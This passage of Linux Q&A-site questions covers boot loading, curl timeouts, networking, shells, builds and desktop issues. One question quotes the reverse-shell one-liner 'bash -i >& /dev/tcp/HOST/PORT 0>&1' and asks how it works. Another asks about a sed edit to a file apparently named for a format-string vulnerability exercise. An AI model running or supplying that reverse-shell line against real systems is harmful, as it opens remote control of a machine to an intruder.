text: As far as I know, protected mode will be activated in kernel and in grub stages it still real mode. My misunderstanding is: In real mode, total memory available for use is less than 1MB but how grub can load the kernel and even root file system (usualy bigger than 1MB) to memory?


title: New Terminal not works when we use su root

text: When I use               su root      and then use               gnome-terminal      I get warning               ** (gnome-terminal:2677): WARNING **: Failed to connect to the session manager: None of the authentication protocols specified are supported      and new terminal window does not opens.But when I use               su -      and then use               gnome-terminal      new window opens without any warning . Why is it so ?


title: Does curl have a timeout?

text: So far I couldn't find anything really, but is it true that `curl` doesn't really time out at all?                user@host:~# curl http://localhost/testdir/image.jpg      I'm asking because I'm redirecting any request for images in `testdir` to a separate Apache module which generates those pictures on the fly. It can take up to 15 minutes before the picture is actually ready and delivered to the requesting client. Will `curl` always wait (or is it depending on configuration) or is there any sort of timeout?


title: How can I delete a hardlink to a directory?

text: Before I get 100s of answers that tell me it is impossible to hardlink directories in linux: yes, I know that. The file in question appeared in lost+fount after I checked the filesystem with `e2fsck` (its an ext4) and according to stat it /is/ a file with 2 hardlinks:               # stat --format="File \"%n\" is a %F with %h hardlinks" ./#30934353     File "./#30934353" is a directory with 2 hardlinks      Doh. How can I safely delete them without touching the included files? I tried `rm` and `unlink`, both told me that die directory is not empty…


title: Is validation of CN/Hostname verification against SSL certificate required in openssl & why?

text: In presence of 'trust certificates' & other attributes .. how important is this? Does OpenSSL implement it now & If not why does OpenSSL not implement?


title: Why can I not install ncurses development package?

text: I am trying to configure `Asterisk 12.3.2` on `Debian 6.0.9` but I am getting an error:               "configure: error: *** termcap support no found (on modern systems, this typically means the ncurses development package is missing)".      When I try to install it by:               apt-get install libncurses5-dev      I get the message that package cannot be found.


title: git-upload-pack hangs indefinitely

text: I have the following call structure:   1. Jenkins runs `fab -Huser@host set_repository_commit_hash:123abc`.   2. `set_repository_commit_hash` runs `git fetch` with `pty = False`.   3. The child process `ssh git@github.com git-upload-pack 'user/repository.git'` never finishes. I've tried running `git fetch` in a local clone and that succeeds, but running `ssh git@github.com git-upload-pack 'user/repository.git'` just returns the following and hangs:               00ab84249d3bb20930c185c08848c60b71f7b28990d6 HEADmulti_ack thin-pack side-band side-band-64k ofs-delta shallow no-progress include-tag multi_ack_detailed agent=git/1.8.4     0041cb34b1c8ca75d478df38c794fc15c5f01cc6377e refs/heads/branch_name     004012577068adf47015001bfa0cff9386d6cdf497ce refs/heads/[...]     003f84249d3bb20930c185c08848c60b71f7b28990d6 refs/heads/master     [a couple more lines like the ones above, then:]     0000      Is this a known SSH/Git/Fabric/Jenkins problem? I did `strace` it, but I haven't recorded the session. I believe it was stuck on a `read`. Possibly relevant links:   1. Jenkins issue 14752: SCM Polling / Max # of concurrent polling = 1 hangs github polling   2. Why would git-upload-pack (during git clone) hang?   3. tortoisegit issue 1880: tortoisegit fetch hangs due to running/never-exiting tortoisegitplink (especially comment #7)   4. What is this random never-ending 'git-upload-pack' process?


title: How to copy contents of command line search result in unix to a file?

text: I would like to accomplish the following. Copy the contents of all search results into a single file. I don't want to copy the search result but the file contents of the search result. For example my search result returned a list of 10 files then I would like to copy the contents of those 10 files into a single file (e.g `dump.test`). I hope I have clearly explained the requirement.


title: Cannot sum numbers received from stdin using bc

text: I'm trying to calculate the average entropy of files contained in a folder using:               { echo '('; find . -type f -exec entropy {} \; | grep -Eo '[0-9.]+$' | sed -r 's/$/+/g'; echo '0)/'; find . -type f | wc -l; }  | tr -d '\n' | bc -l      `entropy` being an executable which calculates the Shannon entropy of a file, giving outputs of the form:               $ entropy foo     foo: 5.13232      The aforementioned command errors out with:               (standard_in) 1: syntax error      However, the generated output seems to have no problems:               $ { echo '('; find . -type f -exec entropy {} \; | grep -Eo '[0-9.]+$' | sed -r 's/$/+/g'; echo '0)/'; find . -type f | wc -l; }  | tr -d '\n'     (5.13232+2.479+1.4311+0)/3      And this works too:               $ echo '(2.1+2.1)/2' | bc -l     2.1      What is wrong with the mentioned command?


title: what is the meaning of this sed command?

text: sed -e 's/72;/72, next_val = 0x11111111;/;/@/{h;s/test/next/g;x;G}'     fmt_vuln.c > fmt_vuln2.c      could you tell me about what is the meaning of `;/@/{h;s/test/next/g;x;G}`?


title: Text Data from X Client for usage in android app

text: Is it possible to write a program such that it can capture the data from an X Client to X server and extract only the Text data inside it? I have to port a legacy application to android and the application only has text data. There is an X-Server developed in android but it does not have a window manager and link Here he declared fonts for displaying text data . libX11 documentation XDrawString & XDrawText . How does these draw the text ? ASCII ?


title: Meaning of bash -i >& /dev/tcp/HOST/PORT 0>&1?

text: I tried this `bash -i >& /dev/tcp/HOST/PORT 0>&1`, but it does not seem to work behind firewall. What does this code actually do, which ports are forwarded and could it work behind fiewall?


title: Bash script and Database

text: I have an iptables firewall in Linux bridge (RHEL5). I want to extract information like IP address, port number, port type, date and time, etc. from log messages using a Bash script, and then want to upload it to a MySQL database to generate the reports. How can I do this? Is there any way to accomplish the same thing?


title: Wi-Fi constantly disconnects

text: Using either NetworkManager or Wicd to manage wireless networking on my Wi-Fi- powered laptop, too often I get randomly disconnected, and I see these messages on **/var/log/syslog** :               Dec 10 05:21:26 debian dhclient: DHCPREQUEST on wlan0 to 10.0.0.2 port 67     Dec 10 05:21:26 debian dhclient: DHCPACK from 10.0.0.2     Dec 10 05:21:26 debian dhclient: bound to 10.0.0.4 -- renewal in 1662 seconds.     Dec 10 05:40:38 debian kernel: [105982.935232] iwlagn 0000:06:00.0: Microcode SW error detected.  Restarting 0x82000000.     Dec 10 05:40:38 debian kernel: [105983.182330] Registered led device: iwl-phy0::radio     Dec 10 05:40:38 debian kernel: [105983.182586] Registered led device: iwl-phy0::assoc     Dec 10 05:40:38 debian kernel: [105983.182658] Registered led device: iwl-phy0::RX     Dec 10 05:40:38 debian kernel: [105983.182872] Registered led device: iwl-phy0::TX      _I think **05:40:38** is the first line that indicates trouble_ With NetworkManager, I recover from this situation with the following command each time this happens:               nmcli nm wifi off && nmcli nm wifi on      Output of `uname -a`:               Linux debian 2.6.32-5-686-bigmem #1 SMP Thu Nov 25 19:30:54 UTC 2010 i686 GNU/Linux      **notes** :   * Wi-Fi chipset is Intel's **4965**.   * I reproduced this problem on **2.6.32** , **2.6.36** and **2.6.37-rc4** kernel versions.


title: Connected to WiFi, no internet access - Linux Mint

text: I connect to a my AP and I get a message "Connect to ..." but I cant access the internet, nor ping anything exept my gateway. I tried changing the DNS Servers to google ones but with no use. Any advice?               // ifconfig     wlan0     Link encap:Ethernet  HWaddr 00:16:44:e6:18:55                 inet addr:192.168.1.100  Bcast:192.168.1.255  Mask:255.255.255.0               inet6 addr: fe80::216:44ff:fee6:1855/64 Scope:Link               UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1               RX packets:1128711 errors:0 dropped:0 overruns:0 frame:0               TX packets:928780 errors:0 dropped:0 overruns:0 carrier:0               collisions:0 txqueuelen:1000                RX bytes:1334125475 (1.3 GB)  TX bytes:110564299 (110.5 MB)          // iwconfig     wlan0     IEEE 802.11bg  ESSID:"Baman"                 Mode:Managed  Frequency:2.412 GHz  Access Point: B0:48:7A:AC:74:52                  Bit Rate=54 Mb/s   Tx-Power=20 dBm                  Retry  long limit:7   RTS thr:off   Fragment thr:off               Power Management:off               Link Quality=69/70  Signal level=-41 dBm                 Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0               Tx excessive retries:2  Invalid misc:1   Missed beacon:0


title: Static routes in route-eth0 ignored

text: Why might route-eth0 be ignored but route-eth1 not? Might be because eth0 is using DHCP and eth1 is statically-configured? I have some static routes configured in               [16:20:06][root@zserver2:/etc/sysconfig/network-scripts]$ ls -al ro*     -rw-r--r-- 1 root root 104 Dec  6 15:49 route-eth0     -rw-r--r-- 1 root root 106 Dec  6 15:49 route-eth1      When I do a `service network restart` the routes for eth1 are activated but NOT those for eth0. An `ifup eth0` also ignores them, but an `ifup-routes eth0` is just fine. What's the best way of getting it activated?               [16:18:36][root@zserver2:/etc/sysconfig/network-scripts]$ service network restart     Shutting down interface eth0:  Device state: 3 (disconnected)                                                                [  OK  ]     Shutting down interface eth1:  Device state: 3 (disconnected)                                                                [  OK  ]     Shutting down loopback interface:                          [  OK  ]     Bringing up loopback interface:                            [  OK  ]     Bringing up interface eth0:  Active connection state: activating     Active connection path: /org/freedesktop/NetworkManager/ActiveConnection/28     state: activated     Connection activated                                                                [  OK  ]     Bringing up interface eth1:  Active connection state: activated     Active connection path: /org/freedesktop/NetworkManager/ActiveConnection/29                                                                [  OK  ]      ### route info               [16:18:50][root@zserver2:/etc/sysconfig/network-scripts]$ route -n     Kernel IP routing table     Destination     Gateway         Genmask         Flags Metric Ref    Use Iface     192.168.15.10   192.168.15.11   255.255.255.255 UGH   1      0        0 eth1     192.168.15.11   0.0.0.0         255.255.255.255 UH    0      0        0 eth1     192.168.15.11   192.168.15.91   255.255.255.255 UGH   1      0        0 eth1     192.168.15.0    0.0.0.0         255.255.255.0   U     1      0        0 eth0     0.0.0.0         192.168.15.1    0.0.0.0         UG    0      0        0 eth0      ### ifup eth0 manually               [16:19:03][root@zserver2:/etc/sysconfig/network-scripts]$ ifup eth0     Active connection state: activating     Active connection path: /org/freedesktop/NetworkManager/ActiveConnection/30     state: activated     Connection activated      ### route info               [16:19:35][root@zserver2:/etc/sysconfig/network-scripts]$ route -n     Kernel IP routing table     Destination     Gateway         Genmask         Flags Metric Ref    Use Iface     192.168.15.10   192.168.15.11   255.255.255.255 UGH   1      0        0 eth1     192.168.15.11   0.0.0.0         255.255.255.255 UH    0      0        0 eth1     192.168.15.11   192.168.15.91   255.255.255.255 UGH   1      0        0 eth1     192.168.15.0    0.0.0.0         255.255.255.0   U     1      0        0 eth0     0.0.0.0         192.168.15.1    0.0.0.0         UG    0      0        0 eth0      ### ifup-routes eth0 manually               [16:19:56][root@zserver2:/etc/sysconfig/network-scripts]$ ./ifup-routes eth0     [16:20:00][root@zserver2:/etc/sysconfig/network-scripts]$ route -n     Kernel IP routing table     Destination     Gateway         Genmask         Flags Metric Ref    Use Iface     192.168.15.1    192.168.15.90   255.255.255.255 UGH   5      0        0 eth0     192.168.15.10   192.168.15.11   255.255.255.255 UGH   1      0        0 eth1     192.168.15.10   192.168.15.1    255.255.255.255 UGH   5      0        0 eth0     192.168.15.11   0.0.0.0         255.255.255.255 UH    0      0        0 eth1     192.168.15.11   192.168.15.91   255.255.255.255 UGH   1      0        0 eth1     192.168.15.0    0.0.0.0         255.255.255.0   U     1      0        0 eth0     0.0.0.0         192.168.15.1    0.0.0.0         UG    0      0        0 eth0      Config files are: _ifcfg-eth0_               [16:30:26][root@zserver2:/etc/sysconfig/network-scripts]$ cat ifcfg-eth0     DEVICE=eth0     TYPE=Ethernet     UUID=76ef8242-9e22-4a29-93f3-a142d1460c87     ONBOOT=yes     NM_CONTROLLED=yes     BOOTPROTO=dhcp     DEFROUTE=yes     IPV4_FAILURE_FATAL=yes     IPV6INIT=no     NAME="System eth0"     HWADDR=00:25:90:86:71:E0     PEERDNS=yes     PEERROUTES=yes     LAST_CONNECT=1386361279      _ifcfg-eth1_               [16:30:35][root@zserver2:/etc/sysconfig/network-scripts]$ cat ifcfg-eth1     DEVICE=eth1     TYPE=Ethernet     UUID=647f66bd-67b2-4e9a-b5a5-4280ad677b9a     ONBOOT=yes     NM_CONTROLLED=yes     BOOTPROTO=none     DEFROUTE=yes     IPV4_FAILURE_FATAL=yes     IPV6INIT=no     NAME="System eth1"     IPADDR=192.168.15.91     PREFIX=32     HWADDR=00:25:90:86:71:E1     LAST_CONNECT=1386361279


title: How large is the Linux kernel compared to Unix?

text: Not in just LOC (lines of code), but in storage size, as in bytes, megabytes, gigabytes, etc. Also, any sources where I can download the original-based Unix OS? Thanks!


title: How to get a usable full disk encryption with different encryptions for different users

text: I want to have a full system encryption on my laptop. But I have two users, one for home and one for work and want a separate encryption for both. Sure I could do a full disk encryption with dm-crypt and use a second encryption layer with ecryptfs to encrypt the home directories. However this seems not to be a good idea for performance reasons. So how can I setup a system such that:   * the entire hard drive is encrypted   * when user 1 is logged in and user 2 not, the data of user 2 is encrypted for user 1 and vice versa   * I need to type in one password on boot which decrypts the system (like in a usual LVM/dm-crypt setup) and only a second one which logs in user x and decrypts his partition   * the performance is similar to a simple full disk-encryption   * the solution should work together with an ssd i.e. it should support TRIM I want to use ubuntu as a distro for this, if this matters.


title: mount -a locks up my script if any of many remote drives are offline

text: I've written a backup script which backs up multiple windows servers by mapping those server's hard drives to the linux file system at a particular mount points. At the beginning of the script, I have this command: mount -a The intention of this command, is to make sure that all the remote mounts (specified in the fstab file) are mounted (because if one of the servers have been rebooted, since the last mount, it would need to remount that server before proceeding). All of this has been working fine for a month, until today when one of the power supplies went out in one of the windows servers being backed up. Now, since that server can't be mounted (because it is down), the script won't proceed past the mount -a command. Ideally, I'd like mount -a to mount if it can, and if it can't proceed to the rest of the script. Instead, it is hanging indefinitely. How can I keep mount -a from being such a "show-stopper", in the event that one of many server is down? Just because one server is down, doesn't mean I don't want to backup the rest of them


title: Reassigning input connectors for HDA ATI SB (Intel HDA / Realtek ALC883) soundcard

text: My soundcard has three input connectors at the back: green, orange and black. Usually I have them connected with my front, read and subwoofer speakers. Sometimes though I want to reassign them to be e.g. subwoofer, rear and line- in. Auto-detection fails here as it cannot possibly distinguish between my read and front speakers. Windows has a nice control panel that lets me setup each connector to a certain function but I cannot find anything for Linux. Any ideas? To clarify, if I use crawl under the table and switch the cables, everything works fine. It's just that want to do the same via software if only because it is possible :)


title: Why can't certain programs (like readlink) take input from a pipe?

text: I have a symbolic link to a script in my `$PATH` whose file I wanted to edit. I forgot the filepath, so I tried to do the following:               $ which my_script_link | readlink      I expected that to output the filepath, but instead it output               > readlink: missing operand     > Try 'readlink --help' for more information      I have seen similar behavior before in other situations (like trying to pipe a list of files into vim for editing). I know there are workarounds, like a subshell `readlink $(which my_script_link)`, but I want to understand _why_ piping doesn't work the way I think it should in this situation. Thanks!


title: Setting BASH as the default in SCO

text: I have tried countless times, trying to get `bash` as the default shell in SCO, and have failed. I have tried the following:   1. **Installed Bash** - using `bash-2.05a.pkg`   2. **Installed Readline** - using `readline-4.2a.pkg` I installed them by using:               pkgadd -d - < bash-2.05a.pkg     pkgadd -d - < readline-4.2a.pkg      I then added bash to my `.profile`. This is the contents:               stty intr '^C'          #SHELL=/bin/sh     SHELL=/usr/local/bin/bash     HOME=/     PATH=/bin:/etc:/usr/bin:/tcb/bin:/usr/local/bin          # set terminal type     #eval `tset -m scoansi:${TERM:-scoansi} -m :\?${TERM:-scoansi} -e -r -s -Q`     TERM=bash     export TERM PATH SHELL HOME          [ -x /bin/mesg ] && mesg n              # if mesg is installed...          if [ -f $HOME/.kshrc -a -r $HOME/.kshrc ]; then         # ksh88: intent is that $ENV is set only for interactive shells,         # ksh93 easier since it doesn't source $ENV when run non-interactively.         # $_ is set to 1.  $_flags (shell flags, e.g. ismh) is set to 0         # Then one of the two is subtracted from their sum:         # either $_, if ${-%%*i*} evaluates to null (will for an interactive shell),         # or $_flags (for a non-interactive shell - i not set ).         # ENV will only be set if the result is 0, since only ENVFILE[0] is set.         ENV='${_ENVFILE[(_=1)+(_$-=0)-_${-%%*i*}]}'         _ENVFILE=/.kshrc         export ENV _ENVFILE     fi      I had a look online, and people have suggested I do this:               # cat /etc/shells     #       @(#) shells 95.1 00/10/29     #     /bin/csh     /bin/sh     /bin/ksh     /usr/bin/scosh     /bin/bash     /usr/bin/bash          # exec /bin/bash     /bin/bash: not found      I have even tried searching the machine for all to do with `bash`, like this:               #find / -name bash*     /usr/local/bin/bash     /usr/local/bin/bashbug     /usr/local/info/bash.info     /usr/local/man/man1/bash.1     /usr/local/man/man1/bashbug.1     /usr/options/bash.name     /opt/K/SCO/lynx/5.0.7a/usr/lib/lynx/lynx_help/keystrokes/bashlike_edit_help.html     /opt/bash-2.05a.pkg     /var/adm/pkg/bash      ( **Note:** No bash.rc there)               #find / -name .bash*     # (nothing)      **So how do I set`bash` as the default shell in SCO?**


title: Need More Information About KDE Job Notification

text: I installed Debian 7.2 on a new laptop a couple of days ago, and now I'm getting a strange job notification every once in a while. It just says the following:               Source: https://some.important.web.site.com/      (The web site is a medical one, so I'd rather not share the real URL.) It seems unlikely, but it looks like some process on my newly-installed Linux machine is trying to talk to a web site that I haven't used in years for some reason. My fear is that I have some malicious code on my machine that is either trying to steal some of my money or DDOS someone. Is there any log file I can look at to get more information about what is being executed? I would try `tcpdump`, but I can't see what is being sent back and forth since this is using SSL.


title: Shortcut for adding `org-mode` environment

text: I'm using `org-mode` for organizing myself (very useful so far!). However, it is kind of annoying writing                 #+begin_comment       ...       #+end_comment      each time I'd like to insert an environment. **Question** Is there a shortcut to insert the `#+begin_` and `#+end_` for a given environment? In the same way `C-c C-o comment RET` would insert               \begin{comment}          \end{comment}      in `latex-mode`.


title: Grep Wvdial output while it is running

text: I want to `grep` the output from `wvdial` while `wvdial` is running. Actually I want to fire a task when the modem is connected. I want to do this in the following way: `grep` string "IP address", if it is available it means modem is connected and then fire another shell script to perform another task. How could it be made possible?


title: What is the difference between KDE and GNOME , for embedded development host decision

text: What are all the differences between the KDE and GNOME projects? This is because, I want to select one (either KDE/GNOME) as my host OS for my embedded development project. I would like to get all details(both code level and GUI level) like C(GTK for GNOME) and C++(QT for KDE) Also , why these kind of classification? Which one is more efficient or stable in one developers perspective? __Kanu


title: Killing X-related processes when CrashPlan is running

text: I am currently running Ubuntu Server 12.04, but this applies to all flavours of Linux really. This server does a bunch of things and is controlled remotely via ssh. Some time ago I have installed XFCE for those times when I didn't really feel like commandlining or to speed up some program configuration. It's off most of the time and I only launch it when I need it. Today I installed CrashPlan to have my other computers on the network backup to the server. For those of you who don't know it, CrashPlan comes with two services, one is the actual backup engine and one is the GUI. So I installed in on the server, launched the GUI to configure it and then killed X (`sudo service lightdm stop`). But now every time I try to login remotely with RDP from my Windows machine (`xdrp` is installed on the server) I am able to connect graphically to the server, which means that all the X-related processes are still running. What have I forgotten? Is it possible to stop running the CrashPlan GUI service and have it never start anymore?


title: Why not always use rsync?

text: I wanted to ask is there any reason not to use `rsync` for everything and abandon `cp`?   I wasn't aware of `rsync` and now I don't know why `cp` is ever needed.


title: Zaurus and mapping keyboards

text: Is there still somebody using a `Zaurus`? I got a second-hand SL-C3000 with ROM version _1.11 JP_ and kernel _2.4.20_ , and I cannot manage to remap keys. There is no `xmodmap`, just an application "`KeyMapHelper`" which generates a keymap in text mode.


title: tty not resizing properly

text: I'm running an embedded poky linux (linux-yocto v3.13) on a beagleboard. However, I'm having trouble when logging in over a serial using PuTTY: the terminal does not resize at all. Usually, the terminal resizes automatically when the PuTTY windows is resized. Not so in my case. The terminal stays at 80x24. dmesg says               [    0.000000] Console: colour dummy device 80x30      at the beginning. However, when I start e.g. nano right after boot, it's actually 80x24. When I do               stty columns 200     stty rows 50     reset      manually, the terminal still stays at 80x24. However, the stty changes do carry over when using a program, e.g. nano. So nano will be the correct size (200x50), but the actual terminal will stay small. SET yields (even after the stty commands above!)               COLUMNS=80     LINES=24     PS1='\u@\h:\w\$ '      Now, I wouldn't have a problem with 80 columns per sé. However, long commands don't wrap to the next line, they just overwrite the beginning of the current line for some reason.               opqrstuvwxyzabcdefghijkl^Cmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmn      I googled far and wide and the only "answers" that came up had to do with PS1 containing stray color codes that throw off the width calculation. However, that's not the case here. I'd much appreciate some help in this matter, as I'm losing my sanity over this...


title: X.org radeon driver brightness/contrast adjusting

text: Is there a way I can adjust contrast/brightness of the card (VGA) output when using the open source xorg radeon driver? I have a monitor that has poor image quality when its tweaked using it's knobs, and the only way I can get good image is to tweak it from the graphic card. I was using the proprietary fglrx until now, but i want to switch to radeon.


title: Bootable image with LAN drivers

text: I'm looking for an image which will boot quickly (I assume it'll be linux) and have LAN drivers- for sending TCP / UDP packets to another system in the same network. Ideally, if possible, I would like to have an image with a parameter - the destination address for sending the packets but otherwise I'll just send - broadcast. what tools / types/ OS would suit this situation?


title: CentOS 6.5 in virtual box : can't install any package

text: I have just installed CentOS 6.5 on my virtualbox. I wanted to install the GUI, using this command :               yum groupinstall -y 'X Window System'      but it gave me the following error message : "couldn't retrieve mirror list, could not resolve host mirrorlist.centos.org". I tried `ifconfing` to check if the machine has obtained an IP but the output should the loopback address only. Is this a problem with the Centos or my virtualbox settings? Can anyone help me to fix it? EDIT: I used the minimal image to create the virtual machine


title: Problem building GPG

text: I'm having a problem building GPG on my system; when I try to run `make` it fairly well before it suddenly bails out with an error. Here's my latest result from running it:               make  all-recursive     Making all in m4     make[2]: Nothing to be done for `all'.     Making all in gl     make  all-am     make[3]: Nothing to be done for `all-am'.     Making all in include     make[2]: Nothing to be done for `all'.     Making all in jnlib     make[2]: Nothing to be done for `all'.     Making all in common     make  all-am     make[3]: Nothing to be done for `all-am'.     Making all in kbx     make[2]: Nothing to be done for `all'.     Making all in g10     make[2]: Nothing to be done for `all'.     Making all in keyserver     make[2]: Nothing to be done for `all'.     Making all in sm     make[2]: Nothing to be done for `all'.     Making all in agent     make[2]: Nothing to be done for `all'.     Making all in scd     gcc -DHAVE_CONFIG_H -I. -I..  -I../gl -I../intl -I../common       -DLOCALEDIR=\"/usr/local/share/locale\" -DGNUPG_BINDIR="\"/usr/local/bin\""        -DGNUPG_LIBEXECDIR="\"/usr/local/libexec\""     -DGNUPG_LIBDIR="\"/usr/local/lib/gnupg\""     -DGNUPG_DATADIR="\"/usr/local/share/gnupg\""       -DGNUPG_SYSCONFDIR="\"/usr/local/etc/gnupg\"" -g -O2 -Wall -Wno-pointer-sign      -Wpointer-arith -MT gnupg_pcsc_wrapper-pcsc-wrapper.o -MD -MP -MF      .deps/gnupg_pcsc_wrapper-pcsc-wrapper.Tpo -c -o gnupg_pcsc_wrapper-pcsc-wrapper.o        `test -f 'pcsc-wrapper.c' || echo './'`pcsc-wrapper.c     pcsc-wrapper.c:69: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘int’     pcsc-wrapper.c:129: error: expected specifier-qualifier-list before ‘pcsc_dword_t’     pcsc-wrapper.c:149: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘pcsc_protocol’     pcsc-wrapper.c:153: error: expected ‘)’ before ‘scope’     pcsc-wrapper.c:160: error: expected declaration specifiers or ‘...’ before ‘pcsc_dword_t’     pcsc-wrapper.c:162: error: expected declaration specifiers or ‘...’ before ‘pcsc_dword_t’     pcsc-wrapper.c:164: error: expected declaration specifiers or ‘...’ before ‘pcsc_dword_t’     pcsc-wrapper.c:167: error: expected declaration specifiers or ‘...’ before ‘pcsc_dword_t’     pcsc-wrapper.c:168: error: expected declaration specifiers or ‘...’ before ‘pcsc_dword_t’     pcsc-wrapper.c:170: error: expected declaration specifiers or ‘...’ before ‘pcsc_dword_t’     pcsc-wrapper.c:172: error: expected declaration specifiers or ‘...’ before ‘pcsc_dword_t’     pcsc-wrapper.c:173: error: expected declaration specifiers or ‘...’ before ‘pcsc_dword_t’     pcsc-wrapper.c:174: error: expected declaration specifiers or ‘...’ before ‘pcsc_dword_t’     pcsc-wrapper.c:175: error: expected declaration specifiers or ‘...’ before ‘pcsc_dword_t’     pcsc-wrapper.c:177: error: expected declaration specifiers or ‘...’ before ‘pcsc_dword_t’     pcsc-wrapper.c:179: error: expected declaration specifiers or ‘...’ before ‘pcsc_dword_t’     pcsc-wrapper.c:180: error: expected declaration specifiers or ‘...’ before ‘pcsc_dword_t’     pcsc-wrapper.c:181: error: expected declaration specifiers or ‘...’ before ‘pcsc_dword_t’     pcsc-wrapper.c:182: error: expected declaration specifiers or ‘...’ before ‘pcsc_dword_t’     pcsc-wrapper.c:185: error: expected declaration specifiers or ‘...’ before ‘pcsc_dword_t’     pcsc-wrapper.c:189: error: expected declaration specifiers or ‘...’ before ‘pcsc_dword_t’     pcsc-wrapper.c:192: error: expected declaration specifiers or ‘...’ before ‘pcsc_dword_t’     pcsc-wrapper.c:194: error: expected declaration specifiers or ‘...’ before ‘pcsc_dword_t’     pcsc-wrapper.c:196: error: expected declaration specifiers or ‘...’ before ‘pcsc_dword_t’     pcsc-wrapper.c:198: error: expected declaration specifiers or ‘...’ before ‘pcsc_dword_t’     pcsc-wrapper.c:200: error: expected declaration specifiers or ‘...’ before ‘pcsc_dword_t’     pcsc-wrapper.c:201: error: expected declaration specifiers or ‘...’ before ‘pcsc_dword_t’     pcsc-wrapper.c: In function ‘load_pcsc_driver’:     pcsc-wrapper.c:347: error: ‘pcsc_establish_context’ undeclared (first use in this function)     pcsc-wrapper.c:347: error: (Each undeclared identifier is reported only once     pcsc-wrapper.c:347: error: for each function it appears in.)     pcsc-wrapper.c: In function ‘handle_open’:     pcsc-wrapper.c:411: error: ‘pcsc_dword_t’ undeclared (first use in this function)     pcsc-wrapper.c:411: error: expected ‘;’ before ‘nreader’     pcsc-wrapper.c:413: error: expected ‘;’ before ‘card_state’     pcsc-wrapper.c:428: warning: implicit declaration of function ‘pcsc_establish_context’     pcsc-wrapper.c:437: error: ‘nreader’ undeclared (first use in this function)     pcsc-wrapper.c:437: error: too many arguments to function ‘pcsc_list_readers’     pcsc-wrapper.c:446: error: too many arguments to function ‘pcsc_list_readers’     pcsc-wrapper.c:487: error: ‘pcsc_protocol’ undeclared (first use in this function)     pcsc-wrapper.c:487: warning: passing argument 3 of ‘pcsc_connect’ makes pointer from integer without a cast     pcsc-wrapper.c:487: error: too many arguments to function ‘pcsc_connect’     pcsc-wrapper.c:509: error: expected ‘;’ before ‘readerlen’     pcsc-wrapper.c:511: error: ‘atrlen’ undeclared (first use in this function)     pcsc-wrapper.c:512: error: ‘readerlen’ undeclared (first use in this function)     pcsc-wrapper.c:515: error: ‘card_state’ undeclared (first use in this function)     pcsc-wrapper.c:515: error: ‘card_protocol’ undeclared (first use in this function)     pcsc-wrapper.c:516: error: too many arguments to function ‘pcsc_status’     pcsc-wrapper.c: In function ‘handle_close’:     pcsc-wrapper.c:558: error: ‘pcsc_protocol’ undeclared (first use in this function)     pcsc-wrapper.c: In function ‘handle_status’:     pcsc-wrapper.c:587: error: ‘struct pcsc_readerstate_s’ has no member named ‘current_state’     pcsc-wrapper.c:590: error: too many arguments to function ‘pcsc_get_status_change’     pcsc-wrapper.c:602: error: ‘struct pcsc_readerstate_s’ has no member named ‘event_state’     pcsc-wrapper.c:604: error: ‘struct pcsc_readerstate_s’ has no member named ‘event_state’     pcsc-wrapper.c:607: error: ‘struct pcsc_readerstate_s’ has no member named ‘event_state’     pcsc-wrapper.c:614: error: ‘struct pcsc_readerstate_s’ has no member named ‘event_state’     pcsc-wrapper.c:624: error: ‘struct pcsc_readerstate_s’ has no member named ‘event_state’     pcsc-wrapper.c:625: error: ‘struct pcsc_readerstate_s’ has no member named ‘event_state’     pcsc-wrapper.c:626: error: ‘struct pcsc_readerstate_s’ has no member named ‘event_state’     pcsc-wrapper.c:627: error: ‘struct pcsc_readerstate_s’ has no member named ‘event_state’     pcsc-wrapper.c:629: error: ‘pcsc_protocol’ undeclared (first use in this function)     pcsc-wrapper.c: In function ‘handle_reset’:     pcsc-wrapper.c:645: error: ‘pcsc_dword_t’ undeclared (first use in this function)     pcsc-wrapper.c:645: error: expected ‘;’ before ‘nreader’     pcsc-wrapper.c:646: error: expected ‘;’ before ‘card_state’     pcsc-wrapper.c:660: error: too many arguments to function ‘pcsc_disconnect’     pcsc-wrapper.c:678: error: ‘pcsc_protocol’ undeclared (first use in this function)     pcsc-wrapper.c:678: warning: passing argument 3 of ‘pcsc_connect’ makes pointer from integer without a cast     pcsc-wrapper.c:678: error: too many arguments to function ‘pcsc_connect’     pcsc-wrapper.c:689: error: ‘atrlen’ undeclared (first use in this function)     pcsc-wrapper.c:690: error: ‘nreader’ undeclared (first use in this function)     pcsc-wrapper.c:693: error: ‘card_state’ undeclared (first use in this function)     pcsc-wrapper.c:693: error: ‘card_protocol’ undeclared (first use in this function)     pcsc-wrapper.c:694: error: too many arguments to function ‘pcsc_status’     pcsc-wrapper.c: In function ‘handle_transmit’:     pcsc-wrapper.c:716: error: ‘pcsc_dword_t’ undeclared (first use in this function)     pcsc-wrapper.c:716: error: expected ‘;’ before ‘recv_len’     pcsc-wrapper.c:729: error: ‘pcsc_protocol’ undeclared (first use in this function)     pcsc-wrapper.c:734: error: ‘recv_len’ undeclared (first use in this function)     pcsc-wrapper.c:736: warning: passing argument 4 of ‘pcsc_transmit’ makes pointer from integer without a cast     pcsc-wrapper.c:736: error: too many arguments to function ‘pcsc_transmit’     pcsc-wrapper.c: In function ‘handle_control’:     pcsc-wrapper.c:756: error: ‘pcsc_dword_t’ undeclared (first use in this function)     pcsc-wrapper.c:756: error: expected ‘;’ before ‘ioctl_code’     pcsc-wrapper.c:757: error: expected ‘;’ before ‘recv_len’     pcsc-wrapper.c:763: error: ‘ioctl_code’ undeclared (first use in this function)     pcsc-wrapper.c:767: error: ‘recv_len’ undeclared (first use in this function)     pcsc-wrapper.c:769: error: too many arguments to function ‘pcsc_control’     make[2]: *** [gnupg_pcsc_wrapper-pcsc-wrapper.o] Error 1     make[1]: *** [all-recursive] Error 1     make: *** [all] Error 2


title: Colors in Man Pages

text: When I look at a man page in my 'console' (not an `xterm`) I see some coloration, but I don't get this in my `xterm`'s (e.g. `konsole`) is there any way I can enable this? hopefully a fairly simple solution?


title: Custom title in PDF files when using ps2pdf

